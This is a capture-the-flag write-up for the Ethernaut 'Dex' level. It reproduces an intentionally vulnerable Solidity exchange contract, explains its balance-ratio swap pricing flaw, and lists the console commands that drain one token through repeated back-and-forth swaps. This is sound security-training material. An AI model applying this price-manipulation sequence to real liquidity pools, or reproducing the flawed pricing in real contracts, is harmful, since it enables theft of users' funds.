Ethernaut Level 22: Dex
Solidity Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
contract Dex is Ownable {
using SafeMath for uint;
address public token1;
address public token2;
constructor() public {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function addLiquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapPrice(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public returns(bool){
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
Requirements
- Drain all of at least 1 of the 2 tokens from the contract
- Allow the contract to report a "bad" price of the assets
Concepts
Hack
We exploit a flaw in the getSwapPrice
method which calculates prices using the following equation.
= amount * balance(token1) / balance(token2)
This uses division and this operation does not deal with floating point numbers. According to the documentation,
Since the type of the result of an operation is always the type of one of the operands, division on integers always results in an integer. In Solidity, division rounds towards zero.
For example, 5 / 2 = 2
instead of 5 / 2 = 2.5
.
The exploit is done by swapping all of our token1
for token2
and then swapping all token2
for token1
. We do this until we have successfully drained all the tokens. The swaps and prices would look like this.
Swap | Dex Token 1 | Dex Token 2 | Player Token 1 | Player Token 2 |
1 | 100 | 100 | 10 | 0 |
2 | 110 | 90 | 0 | 10 |
3 | 86 | 110 | 24 | 0 |
4 | 110 | 80 | 0 | 30 |
5 | 69 | 110 | 41 | 0 |
6 | 110 | 45 | 0 | 65 |
7 | 0 | 90 | 110 | 0 |
Notice that at Swap 3
, we expect 20 * 110 / 90 = 24.444..
. However, because of how division returns integers we calculate 24
. At Swap 7
, we only need 45 tokens to successfully drain the Dex.
Solution
First, we have to approve
that we can transfer our tokens.
await contract.approve(instance, 1000)
Let us save the address of each token into a variable for convenience.
const token1 = await contract.token1()
const token2 = await contract.token2()
Next we swap the tokens back and forth.
await contract.swap(token1, token2, 10)
await contract.swap(token2, token1, 20)
await contract.swap(token1, token2, 24)
await contract.swap(token2, token1, 30)
await contract.swap(token1, token2, 41)
await contract.swap(token2, token1, 45)
Done!